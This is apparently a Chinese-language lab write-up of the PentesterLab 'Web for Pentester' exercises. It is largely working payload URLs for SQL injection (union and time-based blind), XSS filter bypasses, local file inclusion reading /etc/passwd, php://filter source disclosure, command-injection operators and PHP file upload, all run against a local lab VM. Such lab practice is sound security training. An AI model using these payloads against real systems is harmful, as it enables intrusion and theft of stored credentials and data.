Web for pentester
web漏洞原理
SQL注入
Example 1
无过滤，单引号字符类型注入
http://192.168.153.131/sqli/example1.php?name=root'
http://192.168.153.131/sqli/example1.php?name=root' and 1=1 --%20
http://192.168.153.131/sqli/example1.php?name=root' and 1=2 --%20
http://192.168.153.131/sqli/example1.php?name=root' order by 5--%20
http://192.168.153.131/sqli/example1.php?name=root' union select 1,2,3,4,5--%20
http://192.168.153.131/sqli/example1.php?name=root' union select concat_ws(0x7c,user(),database()),2,3,4,5--%20
http://192.168.153.131/sqli/example1.php?name=root' union select table_name,2,3,4,5 from information_schema.tables where table_schema='exercises' --%20
http://192.168.153.131/sqli/example1.php?name=root' union select column_name ,2,3,4,5 from information_schema.columns where table_name='users'--%20
http://192.168.153.131/sqli/example1.php?name=root' union select 1,2,concat_ws(0x7c,id,name,passwd,age,groupid),4,5 from users--%20
Example 2
过滤了空格，绕过空格：
1.水平制表(HT) url编码：%09:/t的ascii是9
2.注释绕过空格 http://192.168.153.131/sqli/example2.php?name=root'/**/and/**/1=1/**/%23
- 括号绕过空格
http://192.168.153.131/sqli/example2.php?name=root'and(1=2)%23
http://192.168.153.131/sqli/example2.php?name=root'
http://192.168.153.131/sqli/example2.php?name=root'%09and%091=1%09--%09
http://192.168.153.131/sqli/example2.php?name=root'%09and%091=2%09--%09
http://192.168.153.131/sqli/example2.php?name=root'%09union%09select%091,2,3,4,5%09--%09
http://192.168.153.13/sqli/example2.php?name=root'%09union%09select%09table_name,2,3,4,5%09from%09information_schema.tables%09where%09table_schema='exercises'%09--%09
Example 3
过滤了空格，制表符，但是可以用注释绕过
http://192.168.153.131/sqli/example3.php?name=root'/**/and/**/1=1/**/%23
Example 4
数值型注入，过滤了单引号，所以有个payloadhttp://192.168.153.131/sqli/example4.php?id=3 union select table_name,2,3,4,5 from information_schema.tables where table_schema='exercises'%23会无效。
http://192.168.153.131/sqli/example4.php?id=3 and 1=1 %23
http://192.168.153.131/sqli/example4.php?id=3 and 1=2 %23
http://192.168.153.131/sqli/example4.php?id=3 union select 1,2,3,4,5 %23
http://192.168.153.131/sqli/example4.php?id=3 union select table_name,2,3,4,5 from information_schema.tables where table_schema=database()%23
http://192.168.153.131/sqli/example4.php?id=3 union select column_name,2,3,4,5 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database())%23
http://192.168.153.131/sqli/example4.php?id=3 union select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23
Example 5
PentesterLab中提到，确保id是以数字开头，则payload如example 4一样。
if (!preg_match('/^[0-9]+/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
Example 6
id要以数字结尾，在payload最后加上数字即可。
if (!preg_match('/[0-9]+$/', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
http://192.168.153.131/sqli/example6.php?id=2 union select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23 1
···
Example 7
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])) {
die("ERROR INTEGER REQUIRED");
}
-?的意思：没有或只有一个“-”号。
模式修饰符m (PCRE_MULTILINE),默认情况下，PCRE 认为目标字符串是由单行字符组成的，匹配\n之前的部分。语句的意思是：多行修饰符只会验证其中一行仅包含一个整数或（-整数），因此下列值将是有效的：
123\nPAYLOAD;
PAYLOAD\n123;
PAYLOAD\n123\nPAYLOAD.
http://192.168.153.131/sqli/example7.php?id=1%0aunion select concat_ws(0x07c,id,name,age,groupid,passwd),2,3,4,5 from users%23
Example 8
http://192.168.153.131/sqli/example8.php?order=name` asc %23
http://192.168.153.131/sqli/example8.php?order=name` desc %23
以上两者返回内容不同，说明源码中是order by `name`
反单引号 ` 是 SQL 的转义符，所以要闭合反单引号。但是order by 和union不能一起使用，参考文章,我们用时间盲注的方法一个个猜解：
http://192.168.153.131/sqli/example8.php?order=name` xor if(ascii(substring(database(),1,1))=101,sleep(5),0)%23
Example 9
http://192.168.153.131/sqli/example9.php?order=name asc %23
http://192.168.153.131/sqli/example9.php?order=name desc %23
返回内容不同，说明源码中是order by name
不需要反单引号闭合：
http://192.168.153.131/sqli/example9.php?order=name xor if(ascii(substring(database(),1,1))=101,sleep(5),0)%23
或者：
http://192.168.153.131/sqli/example9.php?order=if(ascii(substring(database(),1,1))=101,sleep(5),0)%23
XSS
Example 1
没有任何过滤。
payload:http://192.168.153.131/xss/example1.php?name=hacker<script>alert(1)<script>
Example 2
过滤了<script>,</script>,大小写不敏感。
vcx.png-25.5kB
payload:
http://192.168.153.131/xss/example2.php?name=hacker<Script>alert(1)</Script>
Example 3
过滤了script，<script>,</script>,大小写敏感，试试双写绕过。
payload：http://192.168.153.131/xss/example3.php?name=hacker<s<script>cript>alert(1)</s</script>cript>
Example 4
检测到字符script就报错，试试其他标签：
payload：http://192.168.153.131/xss/example4.php?name=hackers<img src=1 onerror=alert(1)>
Example 5
过滤了alert，但是<script>没过滤;
alert() 弹出个提示框 （确定）
confirm() 弹出个确认框 （确定，取消）
prompt() 弹出个输入框 让你输入东西
payload:
http://192.168.153.131/xss/example5.php?name=hackers<script>prompt(1)</script>
http://192.168.153.131/xss/example5.php?name=hackers<script>confirm(1)</script>
Example 6
查看页面源码可以看到，输入的参数直接嵌入到javascript脚本中去了：
<script>
var $a= "hacker";
</script>
payload:http://192.168.153.131/xss/example6.php?name=hacker";alert(1);//
变成：
<script>
var $a= "hacker";alert(1);//";
</script>
Example 7
查看页面源码可以看到，输入的参数直接嵌入到javascript脚本中去了,但是是单引号闭合：
<script>
var $a= 'hacker';
</script>
payload:http://192.168.153.131/xss/example6.php?name=hacker';alert(1);//
变成：
<script>
var $a= 'hacker';alert(1);//";
</script>
Example 8
页面源码：
<form action="/xss/example8.php/" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
payload:http://192.168.153.131/xss/example8.php/" onsubmit="alert('1')
页面源码：
<form action="/xss/example8.php/" onsubmit="alert('1')" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
此时输入alert('1')，弹窗。
payload：http://192.168.153.131/xss/example8.php/"method="POST"><script>alert(1)</script>
页面源码：
<form action="/xss/example8.php/"method="POST"><script>alert(1)</script>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>
直接弹窗。
Example 9
File Include
Example 1
源码：
<?php require_once '../header.php'; ?>
<?php
if ($_GET["page"]) {
include($_GET["page"]);
}
?>
<?php require_once '../footer.php'; ?>
http://192.168.153.131/fileincl/example1.php?page=../../phpinfo.php
报错：
Warning: include(../../phpinfo.php): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening '../../phpinfo.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
© PentesterLab 2013
得到物理路径：/var/www/fileincl/example1.php,这是一个linux系统，输入：
http://192.168.153.131/fileincl/example1.php?page=/etc/passwd
/etc/passwd 的内容显示出来：
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin openldap:x:103:106:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
© PentesterLab 2013
Example 2
源码：
<?php require_once '../header.php'; ?>
<?php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
?>
<?php require_once '../footer.php'; ?>
输入http://192.168.153.131/fileincl/example2.php?page=/etc/passwd
Warning: include(/etc/passwd.php): failed to open stream: No such file or directory in /var/www/fileincl/example2.php on line 8 Warning: include(): Failed opening '/etc/passwd.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example2.php on line 8
© PentesterLab 2013
发现输入什么，就会加后缀.php,利用00截断：（官方提示可以在后面添加&blah=或者?blah=,表示空字节）
http://192.168.153.131/fileincl/example2.php?page=/etc/passwd%00
这里是在url添加.php,所以只需要在url添加%00，在浏览器译码的时候产生截断，用Burpsuite修改的话是不行的，因为抓到的包已经完成浏览器的译码操作了。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh libuuid:x:100:101::/var/lib/libuuid:/bin/sh mysql:x:101:103:MySQL Server,,,:/var/lib/mysql:/bin/false sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin openldap:x:103:106:OpenLDAP Server Account,,,:/var/lib/ldap:/bin/false user:x:1000:1000:Debian Live user,,,:/home/user:/bin/bash
© PentesterLab 2013
文件包含漏洞的利用（以example2为例）:
1.文件包含漏洞可以注入代码，造成代码执行漏洞：
示例1：(php://input)
asf.png-70kB
示例2：(远程文件包含)
sdga.png-68.5kB
http://192.168.0.115/phpinfo.php 代码：<?php phpinfo()?>
示例3：(data:协议)
kljk.png-61.7kB
2.文件包含漏洞可以读取源码：
利用php://filter:
http://192.168.153.131/fileincl/example2.php?page=php://filter/read=convert.base64-encode/resource=example2.php%00
jk;.png-39.9kB
example2的base64源码解码：
<?php require_once '../header.php'; ?>
<?php
if ($_GET["page"]) {
$file = $_GET["page"].".php";
// simulate null byte issue
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
?>
<?php require_once '../footer.php'; ?>
Code injection
Example 1
Example 2
Example 3
Commands injection
方法:(需要编码)
1.ip&command
2.ip&&command(第一个命令正确才会执行第二个命令)
3.ip|command
4.ip||command(第一个命令错误才会执行第二个命令)
Example 1
asgga.png-54.5kB
Example 2
正则表达式的模式是匹配多行的，可以用/n来跳过正则陪匹配：
dsg.png-63.3kB
Example 3
发现有重定向302，抓包看一下：
ipo.png-169.5kB
File Upload
Example 1
没有任何过滤，直接上传php文件：
<?php phpinfo();?>
造成代码执行。
Example 2
过滤了.php，使用.php3后缀成功上传：
gda.png-68kB
